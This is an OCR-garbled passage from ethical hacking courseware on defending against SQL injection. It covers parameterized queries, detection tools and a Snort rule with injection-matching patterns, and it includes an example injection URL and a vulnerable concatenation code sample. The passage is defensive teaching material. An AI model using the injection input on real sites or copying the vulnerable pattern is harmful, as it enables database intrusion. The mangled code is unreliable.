sequences, and comment characters. Q Never build Transact-SQL statements directly from user input and use stored procedures to validate user input. Q Implement multiple layers of validation and never concatenate user input that is not validated. Module 14 Page 2117 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker H ow to D e f e n d A g a in s t SQL I n j e c t i o n A tta c k s : U se T y p e -S a fe SQL P a r a m e t e r s J CEH (•rtifwd ithiul •UthM En fo rce T y p e and len g th ch e ck s using P a ra m e te r C o lle c tio n so th a t inp u t is tre a te d as a literal va lu e instead o f ex ecu tab le cod e SqlDataAdapter m y C o mmand = new SqlDataAdapter("AuthLogin", conn); myCommand.SelectCommand.Command T y p e = C o m m a n d T y p e .StoredProcedure; SqlParameter parm = m y C o m m a n d . S e l e c t C o m m a n d . P a r a m e t e r s . A d d ("@aut_id", S q l D b T y p e .VarChar, 11); parm.Value = Login.Text; In this example, the and length. @ a u t_ id param eter is treated as a literal value instead o f as executable code. This value is checked fo r type Exam ple of V u ln erab le and Secure Code: * V ulnerab le Code Secure Code S q lDataAdapter m y C o m m a n d = new SqlDataAdapter( "SELECT aut_lname, aut_fname FROM Authors WHERE a u t_id = 0aut_id", c o n n ) ; SQLParameter p a r m = m y C o m m a n d . S e l e c t C o m m a n d .P a rameters.Add ("@aut_id", SqlDbType.VarChar, 11); Parm.Value = Login.Text; SqlDataAdapter myCommand = new S q l D a t a A d a p t e r ("LoginStoredProcedure Login.Text + conn); Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. S H o w to D e f e n d A g a i n s t S Q L I n j e c t i o n A t t a c k s : U s e T y p e-S afe SQL P a r a m e te r s Use type-safe SQL parameters with stored procedures or dynamically constructed SQL command strings. Various parameter collections provide type checking and length validation. For example, a SQL parameter collection can be used. Type and length checks can be enforced using a Parameter Collection. Consider the following example in which input "@ au t_id " is treated as a literal value instead of executable code. S q l D a t a A d a p t e r m yCom m and = n e w S q lD a ta A d a p te r ( " A u t h L o g in " , c o n n ); m yC o m m an d . S e l e c t C o m m a n d . C o m m a n d T y p e = Com m andType. S t o r e d P r o c e d u r e ; S q lP a r a m e te r p a rm = m yC o m m an d . S e l e c t C o m m a n d . P a r a m e t e r s . A d d ( " 0 a u t _ i d " , S q lD b T y p e .V a r C h a r , p a r m .V a lu e 1 1 ); = L o g in .T e x t ; The @aut_id value is checked for type and length. Example of Vulnerable and Secure Code: This code is vulnerable to SQL injection S q l D a t a A d a p t e r m yCom m and = + L o g i n . T e x t + " ' 11, c o n n ) ; Module 14 Page 2118 new S q lD a t a A d a p t e r ( " L o g in S t o r e d P r o c e d u r e Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker This is safe code that uses parameter collection S q lD a ta A d a p te r m yCom m and = new S q lD a ta A d a p te r ( "S E L E C T a u t_ ln a m e , a u t_ fn a m e FROM A u t h o r s W H ER E a u t_ id = @ a u t_ id ", c o n n ); S Q L P a ra m e te r p arm = m y C o m m a n d .S e le c t C o m m a n d .P a r a m e t e r s .A d d (" @ a u t _ id " , S q lD b T y p e . V a r C h a r , 1 1 ); P a r m .V a lu e = L o g in . T e x t ; Module 14 Page 2119 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection '- . n : Disable commands V like xp_cmdshell Exam 312-50 Certified Ethical Hacker Use stored procedures and parameter queries Disable verbose error messages and use custom error pages I■■ N■ Operating System SQL Query Custom Error Page Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. H o w to D e f e n d A g a i n s t S Q L I n j e c t i o n A t t a c k s To defend against SQL injection attacks, you can follow the countermeasures stated in the previous section and you can use type-safe SQL parameters as well. To protect the web server, you can use W AF firewall/IDS and filter packets. You need to constantly update the software using patches to keep the server up-to-date to protect it from attackers. Sanitize and filter user input, analyze the source code for SQL Injection, and minimize the use of third-party applications to protect the web applications. You can also use stored procedures and parameter queries to retrieve data and disable verbose error messages, which can guide the attacker with some useful information, and use custom error pages to protect the web applications. To avoid SQL injection into the database, connect using non-privileged accounts and grant least privileges to the database, tables, and columns. Disable commands such as xp_cmdshell, which can affect the OS of the system. Module 14 Page 2120 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Exam 312-50 Certified Ethical Hacker Ethical Hacking and Countermeasures SQL Injection http://juggvb0Y.c0m/7id:blah' OR 1*1 ■ t f 1 .................... Q Attacker Keep Patches current Internet Log Form in Use WAF Firewall/IDS and filter packets Connect to the Database using non-privileged account Web Server Analyze the source code for SQ Injection L » — ■ — 'V r f f H‫״‬ <..............................I | I K DBMS Grant least privileges to the database, tables, and colum ns D isable com ands m like xp_cm dshell Web Application Use stored procedures and param queries eter M ize Use of 3 inim rd Party A pps -i Sanitize and filter user Input Disable verbose error m essages and use customerror p ages ■■■ Li■■ ILfe‫״־‬ 7 h Operating System ■ — SQL Query C ustomError Page FIG U R E 14.28: H ow to Defend Against SQ L Injection Attack Module 14 Page 2121 Ethical Hacking and Countermeasures Copyright © by EC-COUIICil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker S Q L I n j e c t i o n D e t e c t i o n T o o l: M ic ro so ft S o u rc e C o d e A n a ly z e r CEH J Microsoft Source Code Analyzer for SQL Injection is a static code analysis tool for finding SQL Injection vulnerabilities in ASP code J It scans ASP source code and generates warnings related to first order and second order SQL Injection vulnerabilities http://www.m icrosoft.com Copyright © by EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited. S Q L I n j e c t i o n D e t e c t i o n T o o l: M i c r o s o f t S o u r c e C o d e A n a ly z e r Source: http://www.microsoft.com The Microsoft Source Code Analyzer for SQL Injection tool is a static code analysis tool that helps you find SQL injection vulnerabilities in Active Server Pages (ASP) code. It scans ASP source code and generates warnings related to first order and second order SQL injection vulnerabilities. Module 14 Page 2122 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker F IG U R E 14.29: SQ L Injection D etection by Using M icro so ft So u rce Code A nalyzer Module 14 Page 2123 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Injection D etection Tool: M icrosoft UrlScan Filter CEH It restricts the types of HTTP requests that IIS processes By blocking specific HTTP requests, UrlScan helps prevent potentially harmful requests from being processed by web applications on the server m Drectory Secirty | HTTP Headers 1 Custom Errcrs Servte Web 51c | Performance ISAPIFIters | Heme Dieclory UseA1lc v E x t e n s i o o s -0 [D e n y E x tstiB io n sl s e c t i o n N. r r^» 1 »xe(J r 1B5I a r e E c a n - 1 V er i £ y K o rn a l a t ch o n se o c c u rs a . lo v H ig h B i t C h a r a c t e r -1 12 10 1 11= UI R A 1 lo w D o tIn P ath * 0 R e ro v eS er ver Hea cl er ■0 E u a b l a lo g g i n g • 1 P erP rcc essL o g rjri n® -1 1 U rlS c a n 123 lc r jj A ilo v L a tu S o a n n im 0 A-P fJHI Dot1r*5‫^<־‬ | j The fdlo/ihg fllte‫׳‬s are active for al Web sites on thfc computer ard ® *cited in Ihe orda‫ ־‬loted bebw. Ttrse filter j ore visbfc cnl/ from ths• crcpe'ty pop?/ cannot to viewed on th3 croporty poqos of irttlsidual web atos if 1. can o n icali: 11 1, allo w high bit 1 31 if it !‫ . ג‬el le v dots th at 1, renavB " S e rv e r ' 1. log UrlScan a c t iv it y 1. the Url50an l o j if ore tv header (: ftle n o con to m © PID ( l e 111‫» ׳‬o 1. than UrlSoan v t i i load ae a lo v p r io r it y f i l l e r . I f RenoveServerHeader in 0, I hen Al. tern «teSBrvr . u««d to s p e c ify a xeplacenent lo r I I S ' s b u ilt A Itorn at oSnrvorHan^‫־‬ ‫ ז‬c t f o c t iv e i f CCS MS J ‫ ׳‬e 1/141 | S e i v» x ' hwatlwr "U scA llo vV «rb s-lI Co: 1 Camel | A-f.l,, nefr http://www.m icrosoft.com ‫. זז‬n Y T «A p*1‫.־‬ *© 1 0 «‫־‬ Copyright © by IG-GMMCil. All Rights Reserved. Reproduction is Strictly Prohibited. S Q L I n j e c t i o n D e t e c t i o n T o o l: M i c r o s o f t U r l S c a n F ilte r Source: http://www.microsoft.com UrlScan is a security tool that restricts the types of HTTP requests that Internet Information Services (IIS) will process. By blocking specific HTTP requests, the UrlScan security tool helps prevent potentially harmful requests from reaching the server. 21*1 Drectory 5ear*y | HTTP Header* | CustomErrors | 5erv*e | ASP.NET Web Site | Performance I5APIF#ers | Home Drectory | Doanwtt* The fakxitng f te is are active for al Web s*es on th s corrputer and executed m the order Isted below. These Nters are v*rble only from this property p»9», and cannot be v>ev*ed on the property pages of ndrodual Web sfces ASP-NET_2.0 50727.0 UrfStin 3.1 I | OK I C y rr i | I >»*> F IG U R E 14.30: M icro so ft UrlScan Filter Screensho t Module 14 Page 2124 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Injection D etection Tool: dotDefender CEH dotDefender is a software based Web Application Firewall It complements the network firewall, IPS and other network-based Internet security products It inspects the HTTP/HTTPS traffic for suspicious behavior It detects and blocks SQL injection attacks h ttp://www. applicure. com Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. S Q L I n j e c t i o n D e t e c t i o n T o o l: d o t D e f e n d e r Source: http://www.applicure.com W eb Application Security dotDefender is the software W eb Application Firewall (W AF). DotDefender boasts enterprise-class security and advanced integration capabilities. It inspects the HTTP/HTTPS traffic for suspicious behavior. It detects and blocks SQL injection attacks. Module 14 Page 2125 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker ‫ י‬dotDefender -[dotDefender (329 days left)Default Security Profile (Protection)PattemsSQL InjectionBest Practices] hie * Action View Favorites Window ^ jej xj Help « I *!IB ► < dotDefender (39aysleft) 0 2d S U] E n V wr (L c l) ve t ie e o a ₪ In rn tInfo a o S rv e ( te e rmb n e ic s O L es ic ne G b l S ttin s lo a e g B ® D fa ltS c rityP file(P te e u e u ro ro c g] S rv rMs in e e ak g g] U lo dF ld rs pa oe B £) P tte s a rn B £ Wite t(P rm dAc 2 h lis e itte c B £ j P ra o g a n id B £ )Ec d g 2 no in B £ ) B ffe Oe w 2 u r v rflo B £ S LIn c n 2 Q je tio §) U e D fin d sr e e Best Practices d tD efender SQL Injection Choose which type of SQL Injection attacks to intercept. 1 Suspect Single Quote (Safe) 7 w ■ 0 Pattern = Pattern ‫ם‬ B £ C s -S Srip g 2 ro s ite c tin B £ ) C o ieMn u tio 2 o k a ipla n w Classic SQL Comment B P thTra e a a v rs l B £ )P b g 2 ro in B £ ) R mteC m a dE e 2 e o o mn x c Comments B £ ) C d In c n * o e je tio B idW d w D c rie a in o s ire to s n B £ ) X LSh m 2 M ce a 1 ‘Uni 7 Union S elect’ Statem ent B £ ) X a In c n 2 P th je tio B £•X a C s S Srip *) P th ro s ite c ti B S n tu s ig a re 1 ‘Select Version’ Statem ent 7 (U eD fa lt) s eu § A e aF S (U eD fa lt) th n TP ite s e u 0 0 D 1 SQL CHAR Type 7 1 SQL SYS Commands 7 1 IS_SRVROLEMEMBER followed by ( 7 Q 1 MS SQL Specific SQL Injection 7 Q ± J F IG U R E 14.31: d o tD efen d er Screensho t Module 14 Page 2126 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Injection D etection Tool: IBM Security AppScan ■ C EH IBM provides application security and risk management solutions for mobile and web applications R‫ ״‬u‫ ״‬APP SCAN «:‫. ״ ״‬ ®1 D « ida ets2&2 » HT R a bSr 31 Bnr 22‫ • ל‬TP e jo at 7S £ 3Sa *tun 4 aj• #9 f 1 .‫ ,׳‬j : DS 'jDx Lcarae co b it Isus Tss se ak Oab■ a ? * a i a ic rrv k x http://www.ibm .com Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. S Q L I n j e c t i o n D e t e c t i o n T o o l: I B M S e c u r i t y A p p S c a n Source: http://www.ibm.com IBM Security AppScan Standard detects, analyzes, and remediates web application vulnerabilities to help prevent security breaches and enable compliance. It delivers the expertise and critical application lifecycle management and security platform integrations necessary to empower enterprises to not just identify application vulnerabilities but also reduce overall application risk. Module 14 Page 2127 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Rn u lt APP SCANx m - IBM < IM IM (n o look tM i e0• o o j tm y P 1 o 4 Scan Pause Manual E«plc*e Configuration Find Scan 109 Data gowerTools tssues Tasks Sunty • O H ‫ ' »*« ־‬Oa 9h on 1 2 4 ^ Report A•ranged & Save•? > retp demo testers net ()4) d/(D 4 ‫״»«־‬ JO comment asp* 5 1 jfl defaultas)■ drsdaimer htm :4( ^ feedback « p « : ‫( י‬ -jj Ngh^K«d_1 r*ve$tmen«$.htm ■ notfcund asp• j saarchasp■ 1 ( 3 jg securtyJtm servererroratp )£ * ! ‫(י‬ jg subtcrbejspi f7( ^ tubicrbtnrf J survey.Questions*spa 1 ( O>*•‫(י)י‬ •• ‫״‬ « !O aspnet.efcent fl O baak ►)4( «O‫<וי 9 "י‬ ‫»*י‬ « O p <)1( Oaacantog 8 ■u X.—.■ f *m , aa 1 A 34 Security ls*ye» < vanar*^ tor Hip demc *s4/e net' 124 t 41 Cross-Site Scopting 4 p O DOM Bated Crow-Sue Scnptvtg 3) p y Poison Null Byte Windows Fdas Retrieval SQL •njection ' O http.Vdemoteslf we.net/subscnbeasp• # MEmatl Cros1-5< Requesl Forgery te Director, Idling |i) Imfc Injection (facilitates Cross S*e Request Forgery) Open Redirect (2) Phishing Through Frames (2) Database Error Pattern Found (2) Email Address Pattern Found in Parameter Value H»dden Directory Detected Microsoft ASP NET Debugging Enabled 2) Missmg HttpOnly Attribute m S«HO" Cook* Application Error 2) Application Test Script Detected 1 1 t JH Email Address Pattern Found Possible Server Path Disclosure Pattern Found tV S I vtf) t1 0 1 SQL Injection N ft povjM r to wre*. mnrfcfy or ontm-. and y> HttpV/demo testfirc-net/subscribe.aspa tatEmail Test Response cdiv 13*.*wrapper* 3ty:e«*w1dth: ft%;* cdie c:a»»-‫״‬arr* •tyie-‫״‬v 1tfth: #•%;"> cbl>An Error la» Ocearrt4(^t> <IU>S‫ ׳‬B 1ry:</U> J < ><t x xpas 1d»*_eti0_C< p *• te a t ta lc o r c a a iitM l. e o •' </apaax/bx/p> « '!‫״‬ : Ib lS ‫׳‬ 1 arv*>Syetax r r r c r : 1 la f r y express!: < ii> Erto : Nt1119e:</U> o Ganwta 22C.-22? a* HTTP Raojaan Srrt 971* O ‫ן‬ y1D 9 JL € > t Dane Lear•• j i u bo« tcamr^ Sd corH*1 *c F IG U R E 14.32: IB M Secu rity A ppScan Screensho t Module 14 Page 2128 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Injection D etection Tool: W ebCruiser J WebCruiser is a web vulnerability scanner that allows you to scan for vulnerabilities such as SQL injection, crosssite scripting, XPath injection, etc. WebCruiser -Web Vulnerability Scanner Enterprise Edition Took ^ uJ View Configuration 0 Browser Scsnw I ‫־ם‬ Hdp ■H SQL XSS ® , Resend ^Cookie Report o Setting > Scan Site htrp:.'.'1a002/rea»x!me' GET Scan Current Site Stan Current URL Scan Multi-Site Reset/Clear Scannei Import Scar URL - Q Gj Q Export j kjjenripjyia : D_ dte:1_ l.C3rin ODa dN C . 0 js G 1 Wb ex ea P ‫־‬L Z yr 1ttcKsA r3D0»wX K RX «RV1A b h Mu HjI‫־‬W*0— e Rs rc c d lsW f ? QoM R9 o w)a a P T j P WfT O afrOO r b tx b G 9 edHne -R c / « R * .r»a / fc e a td Lg *p oin it & Reeer^Tod Q CookieTool . CdT i oeo StongTool .n. VtoMjt f oR * lU ‫*,־‬ flbu c ■ f «/K* Xr*Xe - CO±M v io jovsco ITc 1.3 3 3 1 >1 v !■ UR./R«‫«׳‬r URL OEQEEBQ O tto/00, oH n/ B ap u n• T * o?‫ ־‬Sr‫־‬c / 0?Rd fcoloin st'Dtto?(. otBx9 tt 1 / <‫ן‬ VnolC J ob Y C p R Tc iip u‫ ^ ;׳‬e u yU L C B jiJ 5( iNirCTlO P C 0 NO D Vlnraility tf«t« u e b tayWord/AotonURL 3 Copyright © by EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited. S Q L I n j e c t i o n D e t e c t i o n T o o l: W e b C r u i s e r Source: http://sec4app.com WebCruiser is a web vulnerability scanner that allows you to scan any website for web vulnerabilities such as SQL injection, cross-site scripting, XPath injection, etc. Features: Q Vulnerability Scanner: SQL injection, cross-site scripting, XPath injection, etc. Q SQL Injection Scanner Q SQL Injection Tool: GET/Post/Cookie Injection POC (Proof of Concept) Q SQL Injection for SQL Server, MySQL, DB2, Oracle, etc. Module 14 Page 2129 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker J WebCruiser - Web Vulnerability Scanner Enterprise Edition File Tools J View Configuration ® B r o w s e r Q Scanner URL: Help 3 SQL ^XSS ^Resend Cookie bBq Report ^ S e tt in g http://10.0.0.2/realhome/ Q Scan Site | GET ^ * Q Scan URL Q Q 81 WebBrowser Scan Current Site Scan Current URL Scan Multi-Site Reset/Clear Scanner Import Export Viinerab*tyScanner jqueiytipsy js 3‫ ®■׳‬POQProof Of Concep L. DD_belatedPNG_0.0 8a‫־‬ mrjs 3 SQL Injection E3 Real Home j ~ © Cro*8 S*e Scriptin [ Web Resource axd?d‫ ־‬UsZWynrfl2bbhcKOspArMr3RD90bowxoXwl03RaXPwR‫־‬ nq1 PbAWpf7hOM9iuOkgHOy1lHVWV OqG _ —•ft AdministrationEntr. j- Web Resource axd ‫ ^ ־‬SystemTool 1 Login aspx • |— Resend Tool i index.aspx : E CookieTooJ _ CodeTool !• jquery triggerjs ‫ נ &ך‬StrmgTool = E coda-slider [‫ ^ ־‬Settings jque»y.scrolTo-1.3.3js fdg Report -‫־‬ © About J2 L - <: URL/Refer URL Parameter Q lhttp://10.002/real1ome/Logr aspxAButton2‫ ־‬Lo TextB0x29‫־‬ Stmg Fffl O http://10.002/RealHome/logri aspx/ 'Bu(lon2‫ ־‬L TextB0*29‫־‬ String Type KeyWord/Action URL Vulnerability Copy URL To ClipBoard L INJECT SQL INJECTION POC Delete Vulnerability < n HTTP Thread: 0 HTTP Thread: 0 F IG U R E 14.33: IB M Secu rity A ppScan Screensho t Module 14 Page 2130 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Snort Rule to D etect SQL Injection Attacks f c ii ‫? ״ל‬ / ( % 2 7 ) | ( • ) | ( - - ) | ( % 2 3 ) | ( # ) / i x / e x e c ( s | + ) + (s |x )p w + / ix / ( < % 2 7 ) | ( 1) ) u n i o n / i x / w * < < % 2 7 ) | ( ' ) ) ( ( % 6 F ) | o | ( % 4 F ) ) ( ( % 7 2 ) | r | ( %5 2 ) ) / a le r t - tc p ix $EXTER NAL_N ET any ‫>־‬ $HTTP_SERVERS $HTTP_PORTS (m s g :" S Q L In je c t io n P a r a n o id " ; f lo w : to _ s e r v e r , e s t a b lis h e d ;u r ic o n t e n t: ‫ . ״‬p i" ; p c r e : " / ( % 2 7 ) | ( V ) | ( - ) | (% 2 3 ) | ( # ) / i ‫; ״‬ c la s s t y p e : W e b - a p p lic a tio n - a tt a c k ; s id :9 0 9 9 ; rev:5;) http://www .snort.org Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. S n o r t R u l e to D e t e c t S Q L I n j e c t i o n A t t a c k s Source: http://www.snort.org Snort rules are very useful in detecting SQL injections. Apart from detecting SQL injection attacks, Snort also sends an alert or logs the intrusion attempt. Snort uses signature‫ ,־‬protocol-, and anomaly-based detection methods. Block these expressions in SNORT / ( % 2 7 ) | ( V ) | ( - - ) | ( % 2 3 ) | ( # ) / i x / e x e c ( s | + )+ (s |x )p w + / ix / ( ( % 2 7 ) | ( ' ) ) u n io n / ix / w * ( ( % 2 7 ) | ( ' ) ) ( ( % 6 F ) |o | ( % 4 F ) ) ( ( % 7 2 ) | r | ( % 5 2 ) ) / i x a le r t tc p $EXTERN A L_N ET any -> $ H TTP_SERVERS $ H TTP_PO RTS (m s g :"S Q L In je c tio n P a r a n o id "; f l o w : t o _ s e r v e r , e s t a b l i s h e d ; u r i c o n t e n t . p i " ; p c r e : " / (%27) | ( V ) | (-) | (% 2 3 ) | ( # ) / i " ; c l a s s t y p e : W e b - a p p l i c a t i o n - a t t a c k ; s i d : 9 0 9 9 ; r e v : 5 ; ) Module 14 Page 2131 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Injection Detection Tools CEH HP Weblnspect GreenSQL Database Security http://w w w .hpenterprisesecurity.com h ttp://w w w .greensql.com SQLDict Microsoft Code Analysis Tool .NET (CAT.NET) h ttp ://n tse cu rity.r http ://w w w .m icro so ft.co m HP Scrawlr https ://h30406. www3. hp.com % NGS SQuirreL Vulnerability Scanners h ttp://w w w .nccgroup.com W SSA ‫ ־‬W eb Site Security Scanning Service SQL Block Monitor h ttp ://sq l-to ols.n e t http://w w w .beyondsecurity.com Acunetix W eb Vulnerability Scanner N-Stalker W eb Application Security Scanner h ttp ://w w w . acunetix. com ‫ /׳‬v h ttp ://w w w . nstalker, com Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. SQL I n j e c ti o n D e te c tio n T o o ls ‫׳‬ The following are some more SQL injection detection tools that can be used for detecting SQL injection vulnerabilities: 0 HP Weblnspect available at http://www.hpenterprisesecurity.com 0 SQLDict available at http://ntsecuritv.nu 0 HP Scrawlr available at https://h30406.www3.hp.com 0 SQL Block Monitor available at http://sql-tools.net © Acunetix W eb Vulnerability Scanner available at http://www.acunetix.com 0 GreenSQL Database Security available at http://www.greensql.com 0 Microsoft Code Analysis Tool .NET (CAT.NET) available at http://www.microsoft.com 0 NGS SQuirreL Vulnerability Scanners available at http://www.nccgroup.com 0 W SSA - W eb Site Security Scanning Service available at http://www.beyondsecurity.com 0 N-Stalker W eb Application Security Scanner available at http://www.nstalker.com Module 14 Page 2132 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker M o d u le S u m m a ry □ SQL injection is the most com m on website vulnerability on the Internet that takes advantage of non-validated input vulnerabilities to pass SQL com mands through a W e b application for execution by a backend database □ Threats of SQL injection include authentication bypass, information disclosure, and data integrity and availability com prom ise □ Database admins and w eb application developers need to follow a methodological approach to detect SQL injection vulnerabilities in w eb infrastructure that includes m anual testing, function testing, and fuzzing □ SQL injection is broadly categorized as simple and blind; simple SQL injection is further categorized as UN IO N and error-based SQL injection □ Pen testers and attackers need to follow a com prehensive SQL injection m ethodology and use autom ated tools such as BSQ LHacker for successful injection attacks □ M ajo r SQ L injection counterm easures involve input data validation, error message suppression or customization, proper DB access privilege m anagem ent, and isolation of databases from underlying OS Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. M o d u le S u m m a ry 9 SQL injection is the most common website vulnerability on the Internet that takes advantage of non-validated input vulnerabilities to pass SQL commands through a web application for execution by a backend database. « Threats of SQL injection include authentication bypass, information disclosure, and data integrity and availability compromise. Q Database admins and web application developers need to follow a methodological approach to detect SQL injection vulnerabilities in web infrastructure that includes manual testing, function testing, and fuzzing. Q SQL injection is broadly categorized as simple and blind; simple SQL injection is further categorized as UNION and error-based SQL injection. e Pen testers and attackers need to follow a comprehensive SQL injection methodology and use automated tools such as BSQLHacker for successful injection attacks. 9 Major SQL injection countermeasures involve input data validation, error message suppression or customization, proper DB access privilege management, and isolation of databases from the underlying OS. Module 14 Page 2133 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.